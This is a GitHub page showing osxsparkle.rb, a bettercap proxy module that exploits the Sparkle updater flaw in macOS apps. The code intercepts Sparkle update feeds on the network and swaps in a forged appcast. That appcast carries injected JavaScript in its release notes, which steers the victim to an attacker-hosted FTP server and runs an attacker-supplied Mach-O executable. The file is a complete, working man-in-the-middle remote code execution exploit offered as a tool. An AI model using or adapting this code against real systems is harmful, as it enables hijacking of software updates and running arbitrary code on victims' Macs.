forked from evilsocket/bettercap-proxy-modules
-
Notifications
You must be signed in to change notification settings - Fork 0
/
osxsparkle.rb
152 lines (125 loc) · 4.98 KB
/
osxsparkle.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
=begin
BETTERCAP
Author : Simone 'evilsocket' Margaritelli
Email : [email protected]
Blog : http://www.evilsocket.net/
This project is released under the GPL 3 license.
=end
require 'time'
require 'net/http'
require 'uri'
require 'tmpdir'
begin
require 'ftpd'
rescue LoadError
raise BetterCap::Error, "You need to install the 'ftpd' gem for this module to work."
end
# Driver class for FTPd
class Driver
def initialize(temp_dir)
@temp_dir = temp_dir
end
def authenticate(user, password)
true
end
def file_system(user)
Ftpd::DiskFileSystem.new(@temp_dir)
end
end
# Exploits the Sparkle Updater vulnerability:
# https://vulnsec.com/2016/osx-apps-vulnerabilities/
class OsxSparkle < BetterCap::Proxy::Module
@@dmg_url = 'http://get.videolan.org/vlc/2.2.1/macosx/vlc-2.2.1.dmg'
@@dmg_size = 0
@@filename = nil
@@dsa_signature = 'MCwCFFEXjGX5snB4bblwCpRb8OTvJILfAhQt7eS3WpVM4g7duEH/xfNWaSQYfw=='
@@rel_notes = '<h1>Changelog</h1><p>Security Fixes.</p>'\
'<script type="text/javascript">'\
' window.location = "ftp://a:b@LOCAL_ADDRESS:2100/";'\
' window.setTimeout(function(){'\
' window.location = "file:///Volumes/LOCAL_ADDRESS/FILENAME";'\
' }, 2000 );' \
'</script>'
@@version = '99.99.99'
@@temp_dir = nil
def self.on_options(opts)
opts.separator ""
opts.separator "OSX Sparkle Proxy Module Options:"
opts.separator ""
opts.on( '--sparkle-rce-file EXECUTABLE', 'Path of the Mach-O executable file to run on remote machine.' ) do |v|
@@filename = File.expand_path(v)
end
end
def initialize
configure_dmg!
configure_ftpd!
end
def on_request( request, response )
if is_exploitable?( request, response )
BetterCap::Logger.info ""
BetterCap::Logger.info "Pwning OSX Machine :".red
BetterCap::Logger.info " URL : http://#{request.host}#{request.path}"
BetterCap::Logger.info " AGENT : #{request.headers['User-Agent']}"
BetterCap::Logger.info ""
# extract application name from the user agent:
if request.headers['User-Agent'] =~ /([^\/]+)[0-9a-z\.\/]+\s+Sparkle.+/i
app_name = $1
end
response.body = '<?xml version="1.0" encoding="utf-8"?>'\
'<rss version="2.0" xmlns:sparkle="http://www.andymatuschak.org/xml-namespaces/sparkle" xmlns:dc="http://purl.org/dc/elements/1.1/">'\
'<channel>'\
'<title>' + app_name + ' Changelog</title>'\
'<language>en</language>'\
'<item>'\
' <title>' + app_name + ' Version ' + @@version + '</title>'\
' <description><![CDATA[ ' + @@rel_notes + ' ]]></description>'\
' <pubDate>' + Time.now.to_s + '</pubDate>'\
' <enclosure'\
' url="' + @@dmg_url + '"'\
' sparkle:version="' + @@version + '"'\
' length="' + @@dmg_size + '"'\
' type="application/x-apple-diskimage"'\
' sparkle:dsaSignature="' + @@dsa_signature + '"'\
' />'\
'</item>'\
'</channel>'\
'</rss>'
end
end
private
def is_exploitable?(req,res)
req.headers.has_key?('User-Agent') and \
req.headers['User-Agent'].include?("Sparkle") and \
res.content_type =~ /^text\/xml/ and \
res.code == '200'
end
def configure_dmg!
BetterCap::Logger.info "[#{'OSX SPARKLE'.green}] Getting '#{@@dmg_url}' file size ..."
response = get_file_size(@@dmg_url)
@@dmg_size = response['content-length']
end
def configure_ftpd!
raise BetterCap::Error, "No --sparkle-rce-file option specified for the proxy module." if @@filename.nil?
raise BetterCap::Error, "File '#{@@filename}' does not exist." unless File.exist?(@@filename)
@@temp_dir = Ftpd::TempDir.make
FileUtils.cp( @@filename, @@temp_dir )
server = Ftpd::FtpServer.new(Driver.new(@@temp_dir))
server.interface = BetterCap::Context.get.ifconfig[:ip_saddr]
server.port = 2100
server.start
@@rel_notes.gsub!( 'LOCAL_ADDRESS', BetterCap::Context.get.ifconfig[:ip_saddr].to_s )
@@rel_notes.gsub!( 'FILENAME', File.basename(@@filename) )
BetterCap::Logger.info "[#{'OSX SPARKLE'.green}] FTP server started on ftp://#{server.interface}:#{server.port}/ ..."
end
def get_file_size(uri_str, limit = 10)
raise ArgumentError, 'HTTP redirect too deep' if limit == 0
url = URI.parse(uri_str)
response = Net::HTTP.start(url.host, url.port) { |http| http.request_head(url.path) }
case response
when Net::HTTPSuccess then response
when Net::HTTPRedirection then get_file_size( response['location'], limit - 1 )
else
response.error!
end
end
end